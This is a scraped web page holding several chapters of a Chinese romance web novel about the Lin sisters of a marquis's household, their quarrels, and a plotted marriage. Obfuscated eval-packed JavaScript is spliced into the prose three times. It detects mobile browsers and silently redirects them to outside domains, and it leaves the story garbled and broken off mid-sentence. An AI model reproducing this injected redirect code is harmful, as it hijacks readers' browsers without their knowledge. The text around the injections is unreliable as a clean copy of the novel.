林诗情也没好到哪里去,见自己妹妹因为自己挨打了,也是牟足了力气撕扯住了对方的头发,嘴里嗷嗷着你们不准打我妹妹!不准打我妹妹! 总之,场面一度十分混乱,叫宋晏印象深刻记忆犹新。 宋晏从未见过如此的小女娘,她是乖觉的天真的,也是泼辣的拼劲全力的。 她像是株世家大族后院里随意长出来的野花,她不似牡丹芍药,她没有被精心呵护,甚至曾经被弃如敝履,但她都熬了过来,她顽强的扎了根,拼命的汲取着养分,渐渐地长出了枝蔓开出了花骨朵,长的绿意盎然,充满了生命力。 她对自己珍视的人是真的拼尽了全力在保护。 宋晏却突然看见大些的女娘竟拔下簪子去扎林诗芸的手,他赶忙过去将簪子夺过摔到了地上,可林诗芸的手还是被扎了一下,流血了。 宋晏只觉得心里疼了一下,仿佛那簪子是扎在了自己心口上了。 他抚了抚心口,他那时还不明白自己为何那样,只当自己是被气到了,姐妹之间打架,怎么能用簪子伤人呢。 最后这场闹剧是被赶过来的国公夫人给制止的。 大秦氏看着以二打四还完胜的侯府姐妹嘴角抽搐,尤其是那个小的,明显已经发了狂,两个婆子都快抱不住了,对面的四个被揍的更是一片凄惨。 再当大秦氏听完几人打架的缘由,她轻抚着额头,这还真没办法怨人家侯府那两个,林诗情是去拉架的,结果那四个不讲理,将人给打了,林诗芸去替姐姐讨回来,这确实是合理的。 可林诗芸下手确实也重了些,但是!话又说回来了,小孩子打打闹闹的也是正常,谁小时候还不和姐妹们薅头花呢是不是。 大秦氏想要轻轻斥责几句便将事情给揭过去,虽然自家的孩子不占理,但是自家那四个却是实打实吃了亏的。 围观了全程的宋晏却冷不丁的指着林诗芸的手来了句,“姨母,这个妹妹的手怎的破了?” 于是大秦氏这才发现,林诗芸的手背被喇了一道口子,虽然不长,但是已经冒了不少血了。 林诗芸抬头的那一瞬间便对上了宋晏的眼神,宋晏冲她点点头,林诗芸接收到讯号,眼眶忽的便红了,哇的一声便哭了出来,似是才反应过来刚才发生的事情,指着姚若华道:“二表姐拿簪子给我扎的,她说要刮花我脸来着,我拿手给挡了,还是神仙,是晏哥哥将那簪子给抢下来的,呜呜,大舅母,芸儿好疼啊,” 姚若华顿时就气疯了,她是拿簪子扎林诗芸了不假,她什么时候要扎她脸了!!! 姚若华张嘴便开始骂,“你个小贱人!我何时说要刮花你脸了!你再给我胡扯,看我不打死你个小贱人!” 这一句一个贱人的,大秦氏看到林诗芸手上的血本就已经上头了,又有宋晏作证,她根本就不管姚若华说没说了,十一岁的大姑娘了,这次敢拿簪子扎别人的手,下次就敢扎脸! 这还了得了! 于是,姚若华同三个庶妹上学暂停,喜提禁足半年,宫中的教养嬷嬷两位,罚抄女戒一百遍,当天便被送回了国公府。 宋晏憋着笑走了,他就知道,这丫头才不会吃亏呢。 只是想到小丫头手背破了,又有些不太高兴了,只觉得那几个罚的还是太轻了,还得再吃些苦头才好。于是又不小心在国公爷跟前说漏了嘴,姚若华几个又喜提跪两天祠堂。 林家姐妹被姚氏给带回侯府了,虽说姐妹二人免不了被训斥一顿,但是挨罚是没有的,打人怎么了,她们占着理呢! 姐妹二人不光带着一车厢的赔礼,林诗芸又得了宫中秘制的去狠膏不说,还得了不少黄金锻造的小首饰。 姚氏看着林诗芸,是又无奈又心疼,这孩子平时柔柔弱弱乖乖巧巧的,一遇到事上便跟拼命三郎似的,一个也不放过。姚氏揉了揉脑门,罢了,这般性子也好,以后姐妹二人走到哪也是吃不了亏的。 16. 第 16 章 林诗芸没吃饱。 宴会上的食物,实在是精致好看份量小,但是要说味道吗,她宁愿去小摊上吃碗热馄饨,也不想吃这些差不多凉掉的食物。 也是有热菜的,只是一桌子的小女娘,没一个伸长了筷子去夹的,她愣是看了好几眼也没敢动,她大姐姐的眼神已经落在她身上了,她勉强夹了块自己前面的糕点啃了。 糕点倒是好吃的,只是此时的她饿的很了,实在是想来点饭吃吃。 毕竟作威作福,不是,享福了这么多年,林诗芸还是有些挑剔的。 林诗情有些无奈也有些心疼,小声安抚她道,“晨起时我便吩咐小厨房喂了鸡汤,一会回府便有热汤面吃,你且先忍忍。” 林诗芸眼睛亮了亮,乖巧点头。 姐姐可是太了解她了,不给她吃饱,她可是要闹的。 还是二姐姐懂她!她最最最喜欢二姐姐了! 二人这边交头接耳,一个抬眸又被林诗瑶给瞪了。 林诗芸抿了抿嘴,终于放下了筷子,老实的坐好,也不敢再开口说话了。 大姐姐一出来怎么跟个管家婆子似的,还怪吓人的。 林诗情却是知道一些的,大姐姐这是心情不好呢。 刚才郑敏敏不知跟林诗瑶说了句什么,林诗瑶的脸色唰的就变了,林诗情察觉不对问林诗瑶发生了何事,林诗瑶只是气恼道了句无事,这边便开席了。 林诗情便也未再多言。 只是之后林诗瑶的脸色一直不怎么好,倒是郑敏敏,颇为幸灾乐祸的模样。 郑敏敏是忠勇侯府嫡长女,同林诗瑶从小便是对家。 二人同为侯府嫡女,还是一样大的年龄,后来又一同上了女学,明面上忠勇侯同定安侯就是极为不对付,同为武将,二人在朝堂上便是经常叽叽歪歪,意见不合。 在学堂里,两家的孩子自然也会一较高下。 这不,郑敏敏不知在哪听说了定安侯看中个小校尉的消息,便来嘲笑起林诗瑶了。 她可不管真的假的林诗瑶会不会嫁,只要能叫林诗瑶不高兴那便够了。 林诗瑶也不傻,她虽变了脸色,但也不会真的拿这事当真,她只皮笑肉不笑的回怼了郑敏敏两句,有些人还真是咸吃萝卜淡操心啊,你有那时间□□的心,还不如考虑考虑自己呢,我可是记得有些人可比我还要大上两月呢,这么着急嫁人啊,这么着急怎么没见有人上门提亲啊,什么小校尉什么小武官的,也得有人娶你才成啊。 于是,两方谁也没占着便宜反而都气的吹胡子瞪眼,要不是二人是在郡主府,换了在无人的地方怕是早就打起来了。 下午回程的马车上林诗芸极为老实,她静静的抱着林诗情的胳膊,已经饿的一点力气也没有了,林诗瑶还是臭着一张脸,林诗意想问问大姐姐是出了何事,被林诗情摇了摇头给拦了下来。 林诗情脸上写满了时机不对,林诗意便没敢问出口。 照林诗情对自家大姐的了解,这人是憋不住屁的,除非,真有什么事叫她不确定,但是又十分忧心,才会板着一张脸,谁也不搭理。 这时候还是不要惹她为好,免得殃及池鱼。 林诗瑶是想跟自家母亲一辆马车的,但是母亲在席上同几位夫人饮了些酒,需要休息,她便没上前打扰。 不行,这事还得去问大哥才行,于是这刚一回府,林诗瑶便直奔大哥院子去了。 林诗芸被饿的心中发慌,林诗情赶紧将人带回了院里,早就有下人小跑去小厨房报信,二人刚一坐下,鸡汤面便也端上来了。 两碗面条,几碟爽口的小菜,林诗芸风卷残云,又叫人上了两碗之后才放下筷子。 她满意的揉了揉微微发胀的肚子,舒坦道:“下次这些宴会,我可是再也不参加了,活生生的能将人给饿死,这些小姐们,难道是喝露水长大的吗,怎生都不动筷子呢,” 姐妹俩吃饱了便歪在了榻上,林诗情插了块果子小口小口的吃着,看着吃饱喝足后慵懒的妹妹笑道:“应该都是吃的,但是都没有你吃的多罢了,你见谁家小姐一顿饭用三碗面的,也就是你,干吃不胖罢了,别家小姐不都得维持身形啊,像你这么吃,不都得吃胖。” 边说还边不忘给林诗芸投喂苹果,林诗芸听完姐姐的话,笑的摇头晃脑的,“那怎么办,我命就这么好,吃的多力气大,还不胖,嘿嘿,我还有个好姐姐,不像她们,嗯...” 林诗芸卡壳了,她一下子想到了谢静茹... 在席上她没有看到谢静茹,谢静姝她倒是看到了,只是谢静姝不同她们一张桌子,她远远看着,谢静姝也没了往日的鲜亮,眉宇间隐约还带了几分愁容。 谢静姝对谢静茹的举动也是不解的吧,这么多年的姐妹情也不是假的,这个时候的两姐妹,得有多纠结难过啊,待谢静姝知道事情真相,又会有多自责... 这么想着,林诗芸便磨磨蹭蹭的挪到了姐姐身旁,一本正经的问:“姐姐,若是有朝一日我突然性情大变,对姐姐不好了,还极为讨厌姐姐,姐姐会怎么想啊?” 林诗情是不知谢家姐妹的事情的,但是她见林诗芸的表情极为认真,思考了几息才道:“你性情大变大概有两种理由,一呢,是被精怪夺舍了,这个应该不会,咱家门第高,等闲精怪进不来,另一种可能,便是,你在做些什么事情,怕牵扯到我身上,你...在保护我。” 林诗情不知妹妹为何会突然问这个问题,她眉头轻轻皱起,盯着林诗芸看了半晌,见林诗芸没什么异样才道:“今日发生了何事?为何会问姐姐这般问题?” 林诗芸被姐姐盯着看的都有些心虚,她脑海里浮现出的是谢静茹跑走的一幕,最终还是决定替好友保密,她不敢同姐姐对视,弯下身子抱上了林诗情的胳膊,趴在她的肩头道:“没什么,就是想到了前几日看了个姐妹俩争抢男人的话本子,有些生气,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064243|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问问姐姐。” 林诗情无奈的笑出了声,姐妹俩经常偷偷的叫丫鬟去买些话本子来看,什么精怪啊重生的,林诗情对妹妹突然间的抽风也是见怪不怪。 有的时候,她也是会纠结于某一本话本子里的人生的。 她伸出手来轻轻拨开了妹妹额前的头发,仔细端详这张芙蓉面,笑道:“咱们府上姐妹争抢男人的事情绝对不会出现,只要我小妹将额前的碎发给拨弄上去,将这一张天仙似的小脸给露出来,姐姐相信,任何男子都会拜倒在我妹妹的石榴裙下,” 林诗情笑的开怀,表情和言语丝毫没有对林诗芸容貌的嫉妒。 她是真的没想到,小时候又干又瘦丑了吧唧的小女娘能长成这般的模样,桃花眼莹润,柳叶眉细长,樱唇琼鼻肤若凝脂,连头发都已经养的乌黑发亮,再往下看,十四岁的林诗芸已经发育的极好了,前凸后翘的,说一句珠圆玉润不为过,毕竟这丫头吃的也多,林诗情真的觉得,放眼京城,再没有比自家小妹还要好看的女子了。 只是妹妹低调,她们便也依着妹妹罢了。 林诗芸被姐姐夸的害羞了,哼哼唧唧道:“哼,姐姐,我要那么多丑男人作甚?挑一个最英俊的就行了,每日看着都能多吃两碗饭,嘿嘿。” 林诗情捂着嘴笑,对妹妹这个花迷的属性是一点也惊讶,多少年了,妹妹爱美人的性子是一如既往,“对对,我们芸儿啊,就应该配天底下最好看的男子。” 这边姐妹俩岁月静好,那边林诗瑶被气的跳脚。 无他,大哥没等到,等到了她的侯爷亲爹。 天将黑时,定安侯满面春风的回来了。 林诗瑶听到风声赶到的时候,恰好听到了父亲对母亲说的那句,此子甚佳,堪为佳婿,夫人只要见了定也会喜欢,孟云上是为人中龙凤,前途不可限量啊。 后头的林诗瑶没听清,她跌跌撞撞的跑回了自己院里,将丫鬟都赶了出去,扑到床上便哭了起来。 凭什么,她一个侯府嫡女,父亲为何,为何要将自己嫁给一个小武将?如此粗鄙之人,端的配的上她!!! 不行,不行,还得想个法子才行,她不嫁,她死都不嫁! 不若叫二妹妹... 也不行,她三个妹妹哪一个都不行! 都是她侯府的女儿,为何要去受那委屈,叫她想想,叫她想想改怎么办才好! 于是,林诗瑶哭了一晚上,在床上翻来覆去了一夜,晨起时顶着一双红肿的双眼脑中忽然灵光乍现,想了个自认为绝妙的主意。 父母之命她不敢违,那便叫那小校尉违不就行了! 只要那小校尉有了心上人,他定会为了心上人拒了侯府的亲事的! 昨晚上她借口不舒服连晚膳都没用,这一想到主意便开始饿了,打发丫鬟给她冰敷给眼睛消肿,看时间尚早大哥定还在家中,于是赶紧换了身衣裳去找大哥蹭早膳顺便打听些事情去了。 17. 第 17 章 林景行正在用早膳,对于妹妹突然到来,他表现的颇为淡定。 毕竟他这个妹妹啊,向来是一惊一乍的,在外头还好,装得人模狗样,在府里,做事全凭自己心意。 林诗瑶也不跟哥哥客气,一屁股坐下接过丫鬟递过来的碗筷便开始用膳,吃了半饱才开始问哥哥小校尉的事情。 林景行倒也没觉得意外,侯爷爹提拔了个青年校尉的事情早就传遍了,妹妹知道确实也是正常的,便将自己知道的说了出来,“我只知道那人叫孟云上,年十九,家中只一个眼盲的母亲和几亩薄田,别的我便不知了。” 林景行如今还在书院上学,不过已经考取了秀才的身份,蛰伏了三年,他今年是要参加秋闱的,虽说世家子弟入仕不用走科举,但是他却是有满腔报复的,平日里也多数都是呆在书院,是世家子弟里难得的好苗子,也极得定安侯的看中,定安侯做一些决定的时候,也会同儿子商量几句。 此事因着关系着妹妹的婚事,林景行这才着人问了孟云上的一些情况。 “这事尚未定下来,之后如何未有可知,只是昨日又发生了些许的变故,父亲确实是有意将你许配给孟云上的。不过...” 眼看妹妹已经气急败坏了,林景行又拐了个弯,安抚妹妹道:“不过父亲也未曾说出将你许配给孟云上的话,你且不用着急,何况,尚不知人家孟云上的心意,万一人家看不上你,或者家中已经婚配,” 林诗瑶听完已经气急败坏了,眼盲的母亲和几亩薄田?这种人也配娶侯府千金?他哪里配的上自己了?? 她哼的一声打断哥哥说话,口不择言道,“看不上我!他一个粗鄙之人还敢看不上我!我,” 话未说完她似乎又想到今天来的目的,冷哼了一声继续道,“本小姐如此貌美,谁能娶到就是上辈子烧了高香了,他还能看不上我?” 林景行自动忽略妹妹的胡言乱语,只是点点头,自家妹妹确实长的不错,四个全是貌美如花的,这点他作为哥哥也没法反驳。 林诗瑶想到了自己的绝妙主意,眼珠子一转给亲哥倒了杯水讨好道:“大哥,你帮我打听打听,那个小校尉都经常出现在哪,我总得先见见他长的什么模样吧,不能稀里糊涂的父亲叫嫁我就嫁过去了,你说是不是,” 知道他在经常出现在什么地方,她也好有所行动啊。 林景行瞧着妹妹的表情不像是真想见人家的,但还是点了点头,就是妹妹不说他要是也差人去详细查上一番的,“嗯,是该叫你见上一见,罢了,我且叫人去打听,但是你不要明着跟他见面,改日哥哥陪你一起去,女孩子家家的,矜持些比较好。” 一听大哥同意了,林诗瑶忙不迭笑着点头,自动忽略大哥要陪同这句话,陪是要有人陪的,但是大哥陪的话还是算了,陪同她自有人选。 早膳结束后林景行便同林景明等人一起去了书院。 在大哥院里用完早膳,林诗瑶便差人去叫了林诗意,一同去林诗芸的芳澜苑碰头。 林诗瑶听大哥一说那小校尉的家世更是坚定了自己不嫁的心。 侯爷爹也不知道是怎么想的,不说高嫁,她林诗瑶配个门当户对的贵公子还配不上吗?非得叫她嫁个穷鬼? 嫁过去叫她去伺候别人? 林诗瑶是越想越气,脚底生风似的往林诗芸院里赶。 今日无论如何她都是要说服四妹妹的,无论如何! 林诗情三人一头雾水的看着将丫鬟都撵了出去对着她们一脸郑重的大姐姐,三人对视一眼,六顾茫然。 林诗瑶也不卖关子,坐下喝了口水后便直接道:“父亲看中了个小校尉,想将我嫁给他,我喊你们来,便是要商量对策的。” 三人被惊的站了起来,难怪昨日林诗瑶的脸色那样的难看,林诗意看着大姐姐还略微有些红肿的眼睛,心疼极了,转身便往外头跑去,“我,我去求父亲,我,” 林诗瑶忙将人给拉了回来,看着已经急出眼泪的三妹内心一片温热,“急什么,我又不是现在就嫁了,这不是叫你们一块来想办法吗,” 四个臭皮匠,总能抵上一个诸葛亮吧? 林诗情想的最多,她虽然也对这事很是惊讶,但看林诗瑶的模样像是已经有了主意,便开口道:“大姐姐,你且说说你是不是已经有了应对之法?我知你定是不想嫁的,你快说法子咱们来听听,” 林诗芸也是眉头紧皱着,坐在旁边不住的点头,心中却是掀起了一股风浪,怎的这事如此的突然?小校尉?嗯...听起来应不像是年纪大的,若是被侯爷大伯给看中了,那说明应是个不错的。 只是大姐姐满脸的不情愿,她倒是也不知道怎么劝。 她对婚嫁一事倒是接受良好,嫁谁不是嫁呢。 反正侯府是不可能叫她随便嫁人的,养了她这么多年,定也是要谋取些回报的。 只见林诗瑶却将眼神直接落在了林诗芸的身上,反复的打量了林诗芸几眼之后才道:“我想叫四妹妹去同那人偶遇一番,最好能叫那人心悦与四妹妹,那人有了心上人,定会拒了父亲。” 如果说刚才三人是震惊,那么,对于林诗瑶的这个提议,三人现在是瞠目结合,目瞪口呆! 这也太不合礼数了...什么偶遇啊,分明是勾引! 这分明是叫林诗芸去勾引外男,这,这要是被传出去了林诗芸还要不要做人了? 林诗情自是不愿意妹妹去干这种事情,她将林诗芸给护在身后,跟护小鸡仔子似的。 林诗芸也被大姐姐大这个想法给惊呆了,这都什么跟什么啊,不想嫁便跟侯爷说啊,那是你亲爹,还能害了你不成,叫我去勾引个外男是怎么回事? 林诗芸一时间有些头大,林诗意也觉得大姐姐此举甚为不妥。 只是她们刚要张口拒绝此事,便见林诗瑶眼泪哗的就流下来了,“怎么,你们三个是想看到我嫁给穷校尉去过苦日子!我又没叫四妹妹干什么,只是偶遇一番,四妹妹随意的同那人说几句话便成,” “说什么姐妹情深,现在我都要进火坑了!你们没一个想救我的!” 林诗意心疼的看着姐姐,扯了扯林诗情的袖子,林诗情又急又恼,她就不心疼大姐姐吗,只是,只是这种事情怎么能叫自家姐妹去做呢,林诗情固执的将林诗芸给护在身后,气愤道:“我们怎么能不心疼你,只是,只是这事如此严重,若是被人知晓了,四妹妹以后还嫁不嫁人了!你随便找个貌美的丫鬟去就是,干嘛非得叫四妹妹去,这事万一,万一,” 林诗瑶知道姐妹们都是心疼自己的,忙说没有万一,她流着泪举着双手发誓道:“我保证,不会有人知道的,我不是没想过叫丫鬟或者花钱找人做,但是,但是她们又不是自己人,再说了,她们再貌美还能美过小四吗,也就她平时藏着掖着,她那双桃花眼,我多看两眼都受不了,我这不是没办法了吗,这才出此下策,” “你们,你们三个就是不拿我当姐妹,眼见着我爹要将我嫁个穷鬼去受苦你们也不拉我,呜呜,什么姐妹情,我就叫四妹妹去露个面你们都不同意,呜呜,算了,叫我死了算了...”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079543|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大姐姐对自己外貌的评价如此高,林诗芸一时不知是喜是悲,看着大姐姐要死要活的模样,又想到这七年来大姐姐对自己的关心照顾,她也是没少坑大姐姐的金银首饰... 几人忙着哄哭到不能自已的林诗瑶,一时间林诗芸的厢房内乱做一团。 外头四人的丫鬟伸长了脖子往屋里瞅,俱是一脸担忧,但是因着被自家姑娘吩咐过了,只能在门外干着急,没一个敢进去的... 其实林诗瑶是思趁良久才决定叫林诗芸去勾引那个小校尉的。 她是这么想的:四妹妹年纪最小,武力值却是最高的,她力气大,骑射功夫更是四人中最好的,跟那小校尉应该能说上几句,另外,林诗芸除了女学,鲜少接触外人。 昨日的赏花宴见的人也不多,旁人只知道定安侯府有个极有福气的四姑娘,却是鲜少人见过的。 还有最重要的一点,四妹妹长的好看。 美貌是勾引男子的最佳武器。 她只是叫四妹妹去勾引,不,去偶遇一下,再说上两句话,那人只要上了套,定会心悦四妹妹的,四妹妹只要不用真实身份同那人接触,必不会露出马脚。 再说了,此事一过,四妹妹便再寻个借口拒了那人就是了,损失不了什么的。 看着大姐姐哭,三人是又心疼又难过,尤其林诗情,同为嫡女,她竟还生出了一股子的悲凉来,先是大姐姐,后边怕就是她们的婚事了,也不知道她们会被许配给什么样的男子,盲婚哑嫁,父母之命,短短的几个字就决定了她们的一生。 林诗情觉得大姐姐是勇敢的,她没有坐以待毙,没有怨天尤人,她在尝试着改变这件事情,不论结果。 只是想出来的主意她有些不是很赞同,那,万一,万一,她不敢去想。 林诗意早就眼泪汪汪的跟着大姐姐一起哭起来了,林诗芸咬着唇,一边哄着大姐姐一边扯着二姐姐的袖子,有些不知道怎么办才好,最后眼看大姐姐哭的快要背过气去了,一狠心一咬牙索性直接开口道:“好好,大姐姐你别哭了,我去就是了,” 林诗芸也是有自己的考量,她没大姐姐那种看不起穷人的想法,大姐姐都说那人是个小校尉了,又得侯爷看中,那说明人家前途光明,年纪又不大,万一还是个长的好的小武将,她嫁了也不是不行啊。 侯府有钱,给的嫁妆也不会少了的,不过,找男人吗,又不是见一个就得定一个,她先看看这个小武将模样如何,长的丑的她才不嫁呢,再看看人品,反正又不耽误她接触别的外男,她也到了相看的年纪了,广撒网才能选个合自己心意的郎君对不对。 这么想着,林诗芸便不怎么排斥去替大姐姐勾引大姐夫了,反正她总要嫁人的,要真碰上个她喜欢的她不是赚了吗。 林诗瑶一听顿时惊喜非常,脸上还挂着泪呢便一把攥住林诗芸的手蹦了起来,“真的,你真的同意了,你放心,我不叫你白去,我那个金项圈你不是一直很喜欢吗,明日,不,一会我便差人拿给你,” 林诗芸一听还有金子拿,心底的那一点纠结也便没了,忙不迭点头,“好好,我去我去,” 至此,林诗情也就没过多阻拦了,她知道大姐姐决定的事情,不管她怎么阻止都没有用的,四妹妹又心软,见不得别人哭,罢了,就是去偶遇,大不了她们多带些人手,都在暗处守着,应是出不了什么岔子的。 于是这边的四个臭皮匠继续商量对策,而那边费尽心机用了手段才叫定安侯看到小校尉身上光明前途的宋晏,怕是要搬了石头砸了自己的脚。 18. 第 18 章 此时的端王府,端王世子宋晏正同好友把酒言欢。 好友不是旁人,正是姚国公世子姚君远。 一晃七年,姚君远也已长成了挺拔的青年,此时的他一身红衣慵懒的靠在榻上,一口气将手上的酒水一饮而尽,漫不经心道:“你说你费那么大劲还拐了几道弯叫定安侯看到那个叫孟云上的价值,不就是不想叫侯府将芸儿那丫头嫁了吗?你直接上门提亲不就得了?以你端王世子的名头,他定安侯一府的人敢有一个说个不字的?” 他也不等好友回答,啧啧两声继续道:“也不知芸儿那丫头给你是下了什么药了,叫你眼巴巴的盯了这么些年,” 又想到小时候林诗芸同林诗情两个将自家四个妹妹揍成的那副惨样,摇了摇头,身上已经起了一身的鸡皮疙瘩。 转头却又将两姐妹对比了一番,他觉得同林诗芸相比,还是情儿表妹稍微要强上一些的,至少揍人没那么狠,见了他也不会翻白眼。 情儿表妹像极了自家小姑姑,性格也是温婉贤淑,娶妻合该娶这种才对嘛。 姚君远晃了晃脑袋好叫自己清醒清醒,自己大概是疯了,他竟然在想娶妻的事情! 他才不要!拖上几年再说吧,男人嘛,就该左拥右抱,温柔乡里最美好。 姚君远这吊儿郎当的模样更甚从前,他一张脸也是英俊的,剑眉星目,丰神俊朗,但跟对面那个谪仙似的人儿一比,却还是略逊一筹。 宋晏也不生气,他挑了挑好看的眉,俊美的五官上看不出什么表情,只是一双眼睛似峡谷般幽深,他轻轻呷了一口酒,开口道:“芸儿年纪太小,我是不能贸然上门,侯府多留她几年也好,王府...” 他父王这后院也是乱七八糟。 他眸子闪了闪,没再继续说王府的事情,继续道,“情不知何起,我也不知从何时起对芸儿多了一些心思。” 或许,或许是在书院时她坐在墙上对他露出的笑脸,亦或者是他生辰时她对自己说的那句生辰快乐吧。 “坐墙上跟你打招呼?谁?芸儿?” 姚君远当真是瞠目结舌,开什么玩笑,那是书院,还是女学,林诗芸翻墙?任她再泼辣,那可是女学的墙,最是守礼的地方,怎生就会发生女子翻墙的事情,还就那样凑巧,正好被宋晏给看到了? 不过话又说回来,宋晏一个男子,去女学作甚? “不是,你一个在宫中读书的,何时去的女学?” 这话说来便长了。 宋晏自幼便在宫中读书,其父端王同当今陛下乃是一母同胞的亲兄弟,手足情深,作为端王世子,宋晏同太子亦是感情深厚。 其实那日宋晏同太子是去了女学一墙之隔的太学,在藏书阁的楼上看到的林诗芸。 有些狼狈,为了姐姐又同人打架了的林诗芸。 说到这里便不得不提上一句了,无论古今,既是学校,便有拉帮结派。 彼时的林诗芸入女学只一年,她灵魂上已经是个成年人,自是知道读书的重要性的,尤其是古代女子能读书是一件多么不容易的事情,每日也是勤勤恳恳的,从不懈怠。 上学嘛,古今都一样早出晚归,午膳她们都是在学院用。 这日林诗芸同林诗意姐俩下课后去找姐姐们用午膳,不想姐俩高高兴兴的过去,放眼看到的却是大姐姐同人起了争执,二姐姐的桌上的东西都被人扔到了地上,一地的狼藉。 好几个女娘围着大姐姐,一个身材高挑明显年长些的女子竟然伸长了手臂要去打大姐姐! 还有一旁的二姐姐,身上白色的院服上带着斑斑点点的墨痕,显然是被欺负了! 林诗瑶哪能看得了这个,作为一名姐控!欺负谁也不能欺负她姐姐! 于是,林诗瑶跟头小牛犊子似的,猛得便冲上了前去。 她不认识对方,不知对方的身份,知道又怎么样,来女学的谁还不是个皇亲国戚了!我管你是谁,你欺负我姐姐,那就是不行! 对面的高个女娘被林诗芸给直接用头给顶倒了,她个子没人家高,但是身上一股子的牛劲,直接将人给顶翻在地。 双方都被突然出现的林诗芸给惊住了!但是,眼看自己这方落了势,高个子那方的同伙自是不依的。 接着双方便打了起来,连平日里唯唯诺诺一向都躲在姐妹身后的林诗意眼看自家姐妹要吃亏也一咬牙加入了进去,薅起了对方不知谁的头发,两方打的是不可开交一团乱麻,反正谁也甭想占着便宜。 这种乱状自是不多时便引来了先生和院长。 如此恶性的群殴事件,还是一群女子,将先生和院长给气了个半死,不管三七二十一,打架斗殴的几个全被抽了手板关了禁闭,还下令去通知各家的长辈前来接人,若是还不改过,这女学便不用来上了! 林家姐妹几个自是被关在了一处,黑漆漆的一间屋子,即使青天白日的也是伸手不见五指。 姐妹四个龇牙咧嘴地摸着手心,其实先生们气归气,确实也没用太大力气打她们的,不然她们的爪子早就已经烂了,此时她们手心只稍微有些红肿,疼归疼,却是还能忍受的疼。 好半晌适应了屋内的昏暗,姐妹几个你望望我,我望望你,竟然还相互嘲笑开了。实在是有些惨了,四人全部都挂了彩,尤其是林诗瑶,她一直在护着妹妹们,头发宛如鸡窝,额头上还肿了一个包。 其他三人虽说没好到哪去,却是比大姐姐稍微好一些的。 林诗芸看着大姐姐的模样,噗嗤一声笑了起来,说大姐姐像是乡下的疯婆子。 林诗瑶也没生气,其实刚才的事情还没到能打起来的地步,而且跟她对峙的郑微微也不是真的要打她,只是想震慑她,吓唬吓唬她罢了,想叫她给郑敏敏服软。 她和郑敏敏还真是从小闹到大的,这次郑敏敏确实过分了,竟然还找帮手! 不过好汉不吃眼前亏,她是考虑说两句软话来着。谁知道突然冲出来个四妹妹,误以为她受了欺负,上来便跟人家拼了。 她的眼眶都有些红红的,事情总归是她惹起来的,三个妹妹都是为了她才打的这么一架,她心里又感动又气闷,只是她看到林诗芸这没心没肺的笑容,眼泪在眼眶里转了半天也未掉下来,却先噗嗤一声笑了起来。 接着四人便笑做一团,这个说刚才如何薅人家头发的,那个说踢了谁谁几脚,这个又说还偷摸了啐了谁两口,给三人恶心的不像话。 最后闹够了,四人互相帮着整理了对方的头发之后便抱坐一团,心里竟还有些满足。 她们四个也算是共患难了。 姐妹情深,她们当的起这四个字。 不管以后会发生任何的事情,姐妹四个都是会相互扶持的,平日里姐妹之间吵吵闹闹薅头花都是小事,原则上,她们永远是会向着对方的那个。 咕噜噜。 体力消耗巨大,也未用午膳,林诗芸的肚皮已经瘪的不像话了。 林诗情心疼的揉了揉妹妹的头,妹妹从小饭量就大,这会儿又刚打过架,应是饿的很了吧。 林诗瑶皱着眉头思考了半晌,记忆中谁告诉过她禁室的窗户其实很好撬开,她一咕噜爬了起来,四处摸索着什么,终于,她来到了小小的窗户前面,脑袋里想着该怎么撬开窗户,手却下意识的推了推,窗户竟然就那么轻易的被打开了... 这…说好的关禁闭呢…… 看到亮光的三个连忙跑了过去,四个脑袋凑在一处嘀咕了半天,最终决定两人出去找吃的,两人留下装模作样。 于是,战斗力最强也是饿的最狠的林诗芸跟自家姐姐一起从窗户爬了出去,而林诗瑶林诗意姐妹老实的待在屋内等着两人回来。 反正已经被罚了,也不知何时才放她们出去,就是再被逮到又能怎么样呢,死也得叫她们做个饱死鬼不是。 秉着这种想法,林诗芸姐妹俩很快来到了南面的围墙。 此时的书院很安静,多数人已经用完了午膳在宿舍午休了。 还有少数的随意也是找安静的角落闲谈小憩。 林诗芸又要翻墙了。 林诗情林诗瑶自幼便挑食,毕竟锦衣玉食惯了,总会有那么些日子吃不惯女学的食物。 就那么饿了一年,眼看着一日比一日瘦,给林诗芸心疼坏了。 书院是不准私自带食物的,每日都会有先生查验。 但是嘛,这事怎么能难倒林诗芸呢。 待林诗芸上了女学之后便借着午休的功夫查探了地形,找了处隐蔽且容易翻出去的地方,翻墙出去给姐姐们买点心。 所以翻墙和买东西的经验林诗芸是极为丰富的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15088094|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林诗情蹲下了身子,林诗芸踩着姐姐的肩膀很轻易的便上了墙,她轻轻地跟姐姐比了个手势,向下一蹦就出了女学。 虽说不是第一次这么干,林诗情还是有些紧张的,今时不同往日,现在的她们应在小黑屋里关禁闭呢。 